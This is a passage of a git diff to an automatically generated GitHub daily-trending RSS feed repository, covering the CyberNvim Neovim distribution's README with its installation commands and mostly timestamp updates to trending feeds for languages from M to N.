alt="template-image"></p> <h3>Base64</h3> <p><img src="https://github.com/HakonHarnes/img-clip.nvim/assets/89907156/504fc4bd-bb91-456c-b580-2ec8c05e2aea" alt="base64-encoding"></p> + pgosar/CyberNvim + 2024-01-06T01:35:13Z + tag:github.com,2024-01-06:/pgosar/CyberNvim + + <p>CyberNvim: A IDE-like Neovim distribution. Simplicity is Power.</p><hr><h1 align="center">CyberNvim</h1> <h3 align="center"><b>CyberNvim is the world's simplest and most extensible fully-fledged Neovim distribution.</b></h3> <p><img src="https://github.com/pgosar/CyberNvim/assets/55164602/15020588-441d-4ddc-aef3-2bf37e0d7ae1" alt="image"></p> <h5 align="center"><b>CyberNvim Start Screen</b></h5> <p><img src="https://github.com/pgosar/CyberNvim/assets/55164602/003c1a80-ea0a-4af4-b1bd-5d0b6729b1c5" alt="image"></p> <h5 align="center"><b>Text editor view</b></h5> <p><img src="https://github.com/pgosar/CyberNvim/assets/55164602/ef8bb684-9b85-4afe-81c0-d254100d0db1" alt="image"></p> <h5 align="center"><b>Debugging UI and the Lazygit integration superimposed on top</b></h5> <br> <h3 align="center"><b>Where simplicity meets power</b></h3> <p>CyberNvim is...</p> <ul> <li>Simple and Extensible</li> <li>Uncompromising in its <a href="https://raw.githubusercontent.com/pgosar/CyberNvim/main/#fantastic-featureset-good--">featureset</a></li> </ul> <p>CyberNvim is a fully-featured and incredibly easy-to-understand Neovim config. It is a fully-featured IDE-like setup with the same ease of modification as <a href="https://github.com/nvim-lua/kickstart.nvim">Kickstart.nvim</a> but offering the more complete and uncompromising base experience of <a href="https://github.com/AstroNvim/AstroNvim/tree/main">Astronvim</a> and <a href="https://github.com/LazyVim/LazyVim">LazyNvim</a>. Its goal is to be both a ready-to-use editor for everyone, a great starting point for powerusers who want the freedom to possibly overwrite the entire config, and a great example for beginners who want to learn how to configure Neovim.</p> <p>CyberNvim is the most simple and extensible Neovim configuration. At only 1200 lines of code, it is the smallest major Neovim distribution. As the user, you are given the power to go so far as to remove almost every change CyberNvim makes and be left with base Neovim. CyberNvim lets you go farther than <strong>any</strong> other distribution so you can truly make your Neovim yours.</p> <h3 align="center"><b>Intractable codebase BAD ๐Ÿ‘Ž โ˜น๏ธ</b></h3> <p>Why use many lines when few do the trick?</p> <ul> <li>Only <b>1200</b> lines of code</li> <li>Built to be broken</li> <li><b>Zero</b> compromises in available features</li> <li><b>Minimal</b> learning curve</li> <li>Plug and go personal configuration</li> </ul> <p>Despite offering a complete IDE-like feature set, CyberNvim's codebase is simple, modular, and built to be broken (in a good way). It was made for people who want the convenience of a fully-fledged Neovim configuration and the simplicity and flexibility to make widespread changes even as a beginner programmer. Strict and intuitive code organization makes the codebase especially easy to understand.</p> <p>At only 1200 lines of Lua (as of December 2023), CyberNvim is around 5-7 times smaller than similar distributions (AstroNvim at 6.3k lines of Lua, LunarVim at 8k, LazyVim at 5k etc.). The codebase is built to be understood in less than 10 minutes with simple, self-documenting code and an intuitive file structure. I would call it SpeedyToUnderstandNvim but that doesn't have the same ring to it.</p> <p>The codebase mainly saves on line count by minimizing unnecessary abstractions wherever possible. One of CyberNvim's goals is to maintain a minimalistic codebase with a style similar to what many create as their own personal configuration rather than what one would expect in a large software project. This approach is similar to <a href="https://github.com/NvChad/NvChad/tree/v2.0">NvChad</a>.</p> <p>Furthermore, to lower the learning curve of using the distribution, it avoids completely overhauling Neovim and the included plugins wherever it does not detract from the experience of using CyberNvim. As such, the distribution is easy to learn and should feel familiar to most people. With this in mind, the distribution takes care to ensure that every part of the configuration is easily understandable, extendable, and rewriteable for those that love tailoring every inch of their setup to their specific tastes.</p> <p><b>User configuration can be as simple as copy-pasting your current configuration in the <a href="https://github.com/pgosar/CyberNvim/wiki/Configuration#predefined-sections">user conf section</a>.</b></p> <h3 align="center"><b>Fantastic featureset GOOD ๐Ÿ‘ ๐Ÿฅฐ</b></h3> <p>Including but not limited to...</p> <ul> <li>Incredibly fast speeds!</li> <li>Fully featured intellisense (linters, code formatters, auto-complete, code actions)!</li> <li>floating and inline function documentation, hover support, etc.</li> <li>Auto-save and formatting</li> <li>Persistent and configurable sessions and project management!</li> <li>Fancy start screen</li> <li>Amazing tabline and statusline</li> <li>File explorer and file overview for functions, classes, etc.</li> <li>Git integration with <a href="https://github.com/jesseduffield/lazygit">lazygit</a> and more</li> <li>Complete inbuilt debugging support</li> <li>Aesthetic UI enhancements!</li> <li>Complete freedom to rewrite the config as you see fit</li> <li>Incredibly easy <a href="https://github.com/pgosar/CyberNvim-Configuration">user configuration</a> setup!</li> </ul> <h3>Installation and Configuration</h3> <p>First, backup (rename, move etc.) your existing nvim configuration. Clone the repository and symlink it with your <code>~/.config/nvim</code> directory with</p> <pre><code class="language-bash">git clone https://github.com/pgosar/CyberNvim ln -s ~/path/to/CyberNvim/nvim ~/.config/nvim </code></pre> <p>Alternatively, directly clone it to the nvim folder:</p> <pre><code class="language-bash">git clone https://github.com/pgosar/CyberNvim ~/.config/nvim </code></pre> <p>Your personal configuration is housed in <code>user/user_config.lua</code>. Use <code>example_user_config.lua</code> as a guide to writing your own configuration. As an initial quickstart, I recommend running the following commands:</p> <pre><code class="language-bash">mkdir -pv ~/.config/nvim/lua/user cp ~/.config/nvim/lua/example_user_config.lua ~/.config/nvim/lua/user/user_config.lua </code></pre> <p>Alternatively, you can also take a look at my own <a href="https://github.com/pgosar/CyberNvim-Configuration.git">configuration</a>. Simply clone this as your user folder.</p> <pre><code class="language-bash">git clone https://github.com/pgosar/CyberNvim-Configuration.git ~/.config/nvim/lua/user </code></pre> <p>If you want to backup your personal configuration to git I suggest doing the following. The user folder is gitignored, meaning you can create a new git repository under that folder . CyberNvim will never push changes to your configuration files - at most it will update example_user_config.</p> <pre><code class="language-bash">cd ~/.config/nvim/lua/user git init # setup repository </code></pre> <p>Once done, Install any language servers, linters, etc. using <code>:MasonInstall</code> and/or <code>:LspInstall</code>. Use <code>:CyberUpdate</code> to update the distribution, including all plugins and parsers. Run <code>:checkhealth</code> to find any common issues with the installation.</p> <p>Beyond this, if you want to plug your current configuration in, it can be as simple as requiring all your files in the allotted user configuration function (see the <a href="https://github.com/pgosar/CyberNvim/raw/main/lua/example_user_config.lua">example</a>).</p> <p>For more information, be sure to check the repository's wiki.</p> <h3>Dependencies</h3> <ul> <li><a href="https://github.com/neovim/neovim/releases/tag/stable">Neovim 0.8+, built with LuaJIT</a></li> <li>Optional Dependencies <ul> <li><a href="https://www.nerdfonts.com/font-downloads">A Nerd Font</a></li> <li><a href="https://github.com/BurntSushi/ripgrep">Ripgrep</a> for live grep in Telescope</li> <li><a href="https://github.com/jesseduffield/lazygit">Lazygit</a> for the git ui</li> <li><a href="https://github.com/aristocratos/bashtop">Bashtop</a> to manage processes</li> </ul> </li> </ul> <h3>Acknowledgements</h3> <p><a href="https://github.com/AstroNvim/AstroNvim/tree/main">Astronvim</a> and <a href="https://github.com/LazyVim/LazyVim">LazyNvim</a> are two fantastic Neovim distributions that provided the inspiration for this project. They significantly raised the bar for what a modern, fully-fledged Neovim distribution should offer.</p> - Root1527/personal - 2024-01-05T01:36:30Z - tag:github.com,2024-01-05:/Root1527/personal - - <p>hi</p><hr> + Byte-Labs-Project/bl_customs + 2024-01-06T01:35:13Z + tag:github.com,2024-01-06:/Byte-Labs-Project/bl_customs + + <p></p><hr><h1>bl_customs</h1> <h1>Description</h1> <p>bl_customs is a vehicle customization script built using React and TypeScript.</p> <h1>Requirement</h1> <h3><a href="https://github.com/overextended/ox_lib">ox_lib</a></h3> <h3><a href="https://github.com/Byte-Labs-Project/bl_bridge">bl_bridge</a></h3> <h1>Installation</h1> <h3>Build the source code using <code>pnpm</code> or download the <a href="https://github.com/Byte-Labs-Project/bl_customs/releases/tag/v1.0.0">release</a></h3> <h1>Note:</h1> <p>The prices for mods, as defined in the configuration, correspond to the price of the last mod index. For example, if a spoiler has four options, the prices for each option will be calculated based on the number of mods, with the last mod having the specified price.</p> <h1>Preview</h1> <p><a href="https://streamable.com/jkieot">https://streamable.com/jkieot</a></p> <h1>Discord/Support</h1> <h3><a href="https://discord.gg/HGFSzQuHSJ">Byte Labs</a></h3> \ No newline at end of file diff --git a/m/daily/index.xml b/m/daily/index.xml index c750951cac0..c1ff2e7e4e2 100644 --- a/m/daily/index.xml +++ b/m/daily/index.xml @@ -1,7 +1,7 @@ GitHub M Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:27Z + 2024-01-06T01:35:10Z Daily Trending of M in GitHub \ No newline at end of file diff --git a/m4/daily/index.xml b/m4/daily/index.xml index fac881cf902..5e88e86bb9b 100644 --- a/m4/daily/index.xml +++ b/m4/daily/index.xml @@ -1,7 +1,7 @@ GitHub M4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:42Z + 2024-01-06T01:35:24Z Daily Trending of M4 in GitHub \ No newline at end of file diff --git a/m4sugar/daily/index.xml b/m4sugar/daily/index.xml index 44c42d883b7..53c02986de7 100644 --- a/m4sugar/daily/index.xml +++ b/m4sugar/daily/index.xml @@ -1,7 +1,7 @@ GitHub M4Sugar Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:41Z + 2024-01-06T01:35:23Z Daily Trending of M4Sugar in GitHub \ No newline at end of file diff --git a/macaulay2/daily/index.xml b/macaulay2/daily/index.xml index 8451171152c..f58bb410869 100644 --- a/macaulay2/daily/index.xml +++ b/macaulay2/daily/index.xml @@ -1,7 +1,7 @@ GitHub Macaulay2 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:40Z + 2024-01-06T01:35:23Z Daily Trending of Macaulay2 in GitHub \ No newline at end of file diff --git a/makefile/daily/index.xml b/makefile/daily/index.xml index 3f6652fd90f..e5d9e38d3b2 100644 --- a/makefile/daily/index.xml +++ b/makefile/daily/index.xml @@ -1,21 +1,21 @@ GitHub Makefile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:45Z + 2024-01-06T01:35:26Z Daily Trending of Makefile in GitHub - vvatelot/mosquitto-docker-compose - 2024-01-05T01:36:45Z - tag:github.com,2024-01-05:/vvatelot/mosquitto-docker-compose - - <p>A simple Mosquitto Docker Compose template</p><hr> + SkafteNicki/mlops_template + 2024-01-06T01:35:26Z + tag:github.com,2024-01-06:/SkafteNicki/mlops_template + + <p></p><hr> - nicolastinkl/UUVPN - 2024-01-05T01:36:45Z - tag:github.com,2024-01-05:/nicolastinkl/UUVPN - - <p>ๅŸบไบŽFlutterๅผ€ๅ‘็š„VPNๅฎขๆˆท็ซฏ(ios/android)๏ผŒ่‡ชไธป่ฎพ่ฎก๏ผŒ็ฒพ็พŽUI,ไผ˜ๅŒ–VPN้€Ÿๅบฆ๏ผŒๅฎŒๅ…จๅผ€ๆบใ€‚</p><hr> + DutchDevelop/BLLEDController + 2024-01-06T01:35:26Z + tag:github.com,2024-01-06:/DutchDevelop/BLLEDController + + <p></p><hr> \ No newline at end of file diff --git a/mako/daily/index.xml b/mako/daily/index.xml index 39e30e98410..596f5159343 100644 --- a/mako/daily/index.xml +++ b/mako/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mako Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:46Z + 2024-01-06T01:35:27Z Daily Trending of Mako in GitHub \ No newline at end of file diff --git a/markdown/daily/index.xml b/markdown/daily/index.xml index 5dbc13daabf..4f5108f0caa 100644 --- a/markdown/daily/index.xml +++ b/markdown/daily/index.xml @@ -1,7 +1,14 @@ GitHub Markdown Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:50Z + 2024-01-06T01:35:31Z Daily Trending of Markdown in GitHub + + ohsu-comp-bio/glasswing-status + 2024-01-06T01:35:31Z + tag:github.com,2024-01-06:/ohsu-comp-bio/glasswing-status + + <p>Uptime/downtime monitor and status page for CBDS</p><hr> + \ No newline at end of file diff --git a/marko/daily/index.xml b/marko/daily/index.xml index 26ab46ccb67..d7bbe6aba6c 100644 --- a/marko/daily/index.xml +++ b/marko/daily/index.xml @@ -1,7 +1,7 @@ GitHub Marko Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:47Z + 2024-01-06T01:35:28Z Daily Trending of Marko in GitHub \ No newline at end of file diff --git a/mask/daily/index.xml b/mask/daily/index.xml index f046277f318..7b8b106828d 100644 --- a/mask/daily/index.xml +++ b/mask/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mask Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:47Z + 2024-01-06T01:35:29Z Daily Trending of Mask in GitHub \ No newline at end of file diff --git a/mathematica/daily/index.xml b/mathematica/daily/index.xml index 4f4129ff685..efd01bb6e41 100644 --- a/mathematica/daily/index.xml +++ b/mathematica/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mathematica Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:55Z + 2024-01-06T01:35:33Z Daily Trending of Mathematica in GitHub \ No newline at end of file diff --git a/matlab/daily/index.xml b/matlab/daily/index.xml index 4a893e9c295..b63719d945c 100644 --- a/matlab/daily/index.xml +++ b/matlab/daily/index.xml @@ -1,7 +1,14 @@ GitHub MATLAB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:54Z + 2024-01-06T01:35:34Z Daily Trending of MATLAB in GitHub + + cameronphchen/OMPvsScreening + 2024-01-06T01:35:34Z + tag:github.com,2024-01-06:/cameronphchen/OMPvsScreening + + <p>[Research] Combining OMP and Screening</p><hr> + \ No newline at end of file diff --git a/maven-pom/daily/index.xml b/maven-pom/daily/index.xml index 3d6227cf11e..aad63fd36fb 100644 --- a/maven-pom/daily/index.xml +++ b/maven-pom/daily/index.xml @@ -1,7 +1,7 @@ GitHub Maven POM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:51Z + 2024-01-06T01:35:32Z Daily Trending of Maven POM in GitHub \ No newline at end of file diff --git a/max/daily/index.xml b/max/daily/index.xml index db0b9059a2c..bdf5cd8413a 100644 --- a/max/daily/index.xml +++ b/max/daily/index.xml @@ -1,7 +1,7 @@ GitHub Max Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:52Z + 2024-01-06T01:35:33Z Daily Trending of Max in GitHub \ No newline at end of file diff --git a/maxscript/daily/index.xml b/maxscript/daily/index.xml index 1df9a5a288e..2058c96633f 100644 --- a/maxscript/daily/index.xml +++ b/maxscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub MAXScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:56Z + 2024-01-06T01:35:37Z Daily Trending of MAXScript in GitHub \ No newline at end of file diff --git a/mcfunction/daily/index.xml b/mcfunction/daily/index.xml index 0c89178c647..b02c4408d17 100644 --- a/mcfunction/daily/index.xml +++ b/mcfunction/daily/index.xml @@ -1,7 +1,7 @@ GitHub mcfunction Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:57Z + 2024-01-06T01:35:36Z Daily Trending of mcfunction in GitHub \ No newline at end of file diff --git a/mercury/daily/index.xml b/mercury/daily/index.xml index 662872dcbfa..3c0b170e416 100644 --- a/mercury/daily/index.xml +++ b/mercury/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mercury Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:06Z + 2024-01-06T01:35:41Z Daily Trending of Mercury in GitHub \ No newline at end of file diff --git a/meson/daily/index.xml b/meson/daily/index.xml index 9c4f0725d4b..1c4469d2e6b 100644 --- a/meson/daily/index.xml +++ b/meson/daily/index.xml @@ -1,7 +1,7 @@ GitHub Meson Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:05Z + 2024-01-06T01:35:42Z Daily Trending of Meson in GitHub \ No newline at end of file diff --git a/metal/daily/index.xml b/metal/daily/index.xml index cc7eb73e2c5..8b945c03c2a 100644 --- a/metal/daily/index.xml +++ b/metal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Metal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:03Z + 2024-01-06T01:35:40Z Daily Trending of Metal in GitHub \ No newline at end of file diff --git a/microsoft-developer-studio-project/daily/index.xml b/microsoft-developer-studio-project/daily/index.xml index fd4ada931d3..2f296e2b900 100644 --- a/microsoft-developer-studio-project/daily/index.xml +++ b/microsoft-developer-studio-project/daily/index.xml @@ -1,7 +1,7 @@ GitHub Microsoft Developer Studio Project Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:09Z + 2024-01-06T01:35:45Z Daily Trending of Microsoft Developer Studio Project in GitHub \ No newline at end of file diff --git a/microsoft-visual-studio-solution/daily/index.xml b/microsoft-visual-studio-solution/daily/index.xml index 63726102c7f..38c8315a4a9 100644 --- a/microsoft-visual-studio-solution/daily/index.xml +++ b/microsoft-visual-studio-solution/daily/index.xml @@ -1,7 +1,7 @@ GitHub Microsoft Visual Studio Solution Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:07Z + 2024-01-06T01:35:45Z Daily Trending of Microsoft Visual Studio Solution in GitHub \ No newline at end of file diff --git a/minid/daily/index.xml b/minid/daily/index.xml index ba947f1709b..a8ae602b115 100644 --- a/minid/daily/index.xml +++ b/minid/daily/index.xml @@ -1,7 +1,7 @@ GitHub MiniD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:08Z + 2024-01-06T01:35:43Z Daily Trending of MiniD in GitHub \ No newline at end of file diff --git a/mint/daily/index.xml b/mint/daily/index.xml index 7cef38930ab..a8d642e1a32 100644 --- a/mint/daily/index.xml +++ b/mint/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mint Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:14Z + 2024-01-06T01:35:47Z Daily Trending of Mint in GitHub \ No newline at end of file diff --git a/mirah/daily/index.xml b/mirah/daily/index.xml index 1cc9030e705..969f9de3253 100644 --- a/mirah/daily/index.xml +++ b/mirah/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mirah Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:13Z + 2024-01-06T01:35:48Z Daily Trending of Mirah in GitHub \ No newline at end of file diff --git a/mirc-script/daily/index.xml b/mirc-script/daily/index.xml index ba079911792..d8c1cd2598e 100644 --- a/mirc-script/daily/index.xml +++ b/mirc-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub mIRC Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:11Z + 2024-01-06T01:35:46Z Daily Trending of mIRC Script in GitHub \ No newline at end of file diff --git a/mlir/daily/index.xml b/mlir/daily/index.xml index e80934cbf8c..fd7eef51d2f 100644 --- a/mlir/daily/index.xml +++ b/mlir/daily/index.xml @@ -1,7 +1,7 @@ GitHub MLIR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:12Z + 2024-01-06T01:35:49Z Daily Trending of MLIR in GitHub \ No newline at end of file diff --git a/modelica/daily/index.xml b/modelica/daily/index.xml index 66d7c2aa478..3566c49217f 100644 --- a/modelica/daily/index.xml +++ b/modelica/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modelica Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:16Z + 2024-01-06T01:35:52Z Daily Trending of Modelica in GitHub \ No newline at end of file diff --git a/modula-2/daily/index.xml b/modula-2/daily/index.xml index 228d25ce395..072bfab6f92 100644 --- a/modula-2/daily/index.xml +++ b/modula-2/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modula-2 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:18Z + 2024-01-06T01:35:51Z Daily Trending of Modula-2 in GitHub \ No newline at end of file diff --git a/modula-3/daily/index.xml b/modula-3/daily/index.xml index 84122afed89..45c10d0eb5f 100644 --- a/modula-3/daily/index.xml +++ b/modula-3/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modula-3 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:15Z + 2024-01-06T01:35:50Z Daily Trending of Modula-3 in GitHub \ No newline at end of file diff --git a/module-management-system/daily/index.xml b/module-management-system/daily/index.xml index 1dd6c4098eb..289bb5571f3 100644 --- a/module-management-system/daily/index.xml +++ b/module-management-system/daily/index.xml @@ -1,7 +1,7 @@ GitHub Module Management System Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:17Z + 2024-01-06T01:35:50Z Daily Trending of Module Management System in GitHub \ No newline at end of file diff --git a/monkey-c/daily/index.xml b/monkey-c/daily/index.xml index 0488fa88a4c..130fbbe104b 100644 --- a/monkey-c/daily/index.xml +++ b/monkey-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Monkey C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:19Z + 2024-01-06T01:35:53Z Daily Trending of Monkey C in GitHub \ No newline at end of file diff --git a/monkey/daily/index.xml b/monkey/daily/index.xml index f1f990ff836..b53f0fd26d8 100644 --- a/monkey/daily/index.xml +++ b/monkey/daily/index.xml @@ -1,7 +1,7 @@ GitHub Monkey Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:21Z + 2024-01-06T01:35:55Z Daily Trending of Monkey in GitHub \ No newline at end of file diff --git a/moocode/daily/index.xml b/moocode/daily/index.xml index 5512306b490..a013ddd3dec 100644 --- a/moocode/daily/index.xml +++ b/moocode/daily/index.xml @@ -1,7 +1,7 @@ GitHub Moocode Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:22Z + 2024-01-06T01:35:54Z Daily Trending of Moocode in GitHub \ No newline at end of file diff --git a/moonscript/daily/index.xml b/moonscript/daily/index.xml index 9ca618a227b..4a82e6e99ab 100644 --- a/moonscript/daily/index.xml +++ b/moonscript/daily/index.xml @@ -1,7 +1,14 @@ GitHub MoonScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:20Z + 2024-01-06T01:35:53Z Daily Trending of MoonScript in GitHub + + TomK32/Unstack2 + 2024-01-06T01:35:53Z + tag:github.com,2024-01-06:/TomK32/Unstack2 + + <p>A simple puzzle game for Android.</p><hr> + \ No newline at end of file diff --git a/motoko/daily/index.xml b/motoko/daily/index.xml index 5de99fe3613..0c655708329 100644 --- a/motoko/daily/index.xml +++ b/motoko/daily/index.xml @@ -1,7 +1,7 @@ GitHub Motoko Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:24Z + 2024-01-06T01:35:58Z Daily Trending of Motoko in GitHub \ No newline at end of file diff --git a/motorola-68k-assembly/daily/index.xml b/motorola-68k-assembly/daily/index.xml index 59ab4bebde2..dace1389763 100644 --- a/motorola-68k-assembly/daily/index.xml +++ b/motorola-68k-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Motorola 68K Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:23Z + 2024-01-06T01:35:56Z Daily Trending of Motorola 68K Assembly in GitHub \ No newline at end of file diff --git a/mql4/daily/index.xml b/mql4/daily/index.xml index 8a6f3313615..bbd2fb7612a 100644 --- a/mql4/daily/index.xml +++ b/mql4/daily/index.xml @@ -1,7 +1,7 @@ GitHub MQL4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:25Z + 2024-01-06T01:35:57Z Daily Trending of MQL4 in GitHub \ No newline at end of file diff --git a/mql5/daily/index.xml b/mql5/daily/index.xml index 8cc18a8fd3a..33cb0e164dd 100644 --- a/mql5/daily/index.xml +++ b/mql5/daily/index.xml @@ -1,7 +1,7 @@ GitHub MQL5 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:30Z + 2024-01-06T01:36:00Z Daily Trending of MQL5 in GitHub \ No newline at end of file diff --git a/mtml/daily/index.xml b/mtml/daily/index.xml index 70536f5f97f..a913a15bf48 100644 --- a/mtml/daily/index.xml +++ b/mtml/daily/index.xml @@ -1,7 +1,7 @@ GitHub MTML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:27Z + 2024-01-06T01:35:59Z Daily Trending of MTML in GitHub \ No newline at end of file diff --git a/muf/daily/index.xml b/muf/daily/index.xml index b2c421fc836..bdb793439dc 100644 --- a/muf/daily/index.xml +++ b/muf/daily/index.xml @@ -1,7 +1,7 @@ GitHub MUF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:29Z + 2024-01-06T01:36:01Z Daily Trending of MUF in GitHub \ No newline at end of file diff --git a/mupad/daily/index.xml b/mupad/daily/index.xml index ca0bb2c3a99..2c29ae08aeb 100644 --- a/mupad/daily/index.xml +++ b/mupad/daily/index.xml @@ -1,7 +1,7 @@ GitHub mupad Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:28Z + 2024-01-06T01:36:00Z Daily Trending of mupad in GitHub \ No newline at end of file diff --git a/muse/daily/index.xml b/muse/daily/index.xml index e341faa0267..08aa9117365 100644 --- a/muse/daily/index.xml +++ b/muse/daily/index.xml @@ -1,7 +1,7 @@ GitHub Muse Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:33Z + 2024-01-06T01:36:03Z Daily Trending of Muse in GitHub \ No newline at end of file diff --git a/mustache/daily/index.xml b/mustache/daily/index.xml index 05f51a51e0f..f390dbeda66 100644 --- a/mustache/daily/index.xml +++ b/mustache/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mustache Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:36Z + 2024-01-06T01:36:05Z Daily Trending of Mustache in GitHub \ No newline at end of file diff --git a/myghty/daily/index.xml b/myghty/daily/index.xml index 9b127bbacb0..9709c264161 100644 --- a/myghty/daily/index.xml +++ b/myghty/daily/index.xml @@ -1,7 +1,7 @@ GitHub Myghty Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:32Z + 2024-01-06T01:36:02Z Daily Trending of Myghty in GitHub \ No newline at end of file diff --git a/nanorc/daily/index.xml b/nanorc/daily/index.xml index fcbd7132f9b..e6a8dec4c60 100644 --- a/nanorc/daily/index.xml +++ b/nanorc/daily/index.xml @@ -1,7 +1,7 @@ GitHub nanorc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:31Z + 2024-01-06T01:36:03Z Daily Trending of nanorc in GitHub \ No newline at end of file diff --git a/nasl/daily/index.xml b/nasl/daily/index.xml index a0978eee255..87f5a8d0a56 100644 --- a/nasl/daily/index.xml +++ b/nasl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NASL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:40Z + 2024-01-06T01:36:08Z Daily Trending of NASL in GitHub \ No newline at end of file diff --git a/ncl/daily/index.xml b/ncl/daily/index.xml index 47ed7bdd7c5..631adda2d43 100644 --- a/ncl/daily/index.xml +++ b/ncl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:38Z + 2024-01-06T01:36:09Z Daily Trending of NCL in GitHub \ No newline at end of file diff --git a/nearley/daily/index.xml b/nearley/daily/index.xml index 70aaab293c7..6fe185724a3 100644 --- a/nearley/daily/index.xml +++ b/nearley/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nearley Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:39Z + 2024-01-06T01:36:07Z Daily Trending of Nearley in GitHub \ No newline at end of file diff --git a/nemerle/daily/index.xml b/nemerle/daily/index.xml index 61c46f3f30f..7ac41acfc6d 100644 --- a/nemerle/daily/index.xml +++ b/nemerle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nemerle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:42Z + 2024-01-06T01:36:11Z Daily Trending of Nemerle in GitHub \ No newline at end of file diff --git a/neon/daily/index.xml b/neon/daily/index.xml index 0a13d7d6462..19c6a705b87 100644 --- a/neon/daily/index.xml +++ b/neon/daily/index.xml @@ -1,7 +1,7 @@ GitHub NEON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:44Z + 2024-01-06T01:36:10Z Daily Trending of NEON in GitHub \ No newline at end of file diff --git a/nesc/daily/index.xml b/nesc/daily/index.xml index 53fe571cba0..b138db48674 100644 --- a/nesc/daily/index.xml +++ b/nesc/daily/index.xml @@ -1,7 +1,7 @@ GitHub nesC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:41Z + 2024-01-06T01:36:10Z Daily Trending of nesC in GitHub \ No newline at end of file diff --git a/netlinx+erb/daily/index.xml b/netlinx+erb/daily/index.xml index 8d0ce825158..4e2fb518387 100644 --- a/netlinx+erb/daily/index.xml +++ b/netlinx+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLinx+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:47Z + 2024-01-06T01:36:13Z Daily Trending of NetLinx+ERB in GitHub \ No newline at end of file diff --git a/netlinx/daily/index.xml b/netlinx/daily/index.xml index 82e0eb952ab..7b7a89c1e16 100644 --- a/netlinx/daily/index.xml +++ b/netlinx/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLinx Daily Trending 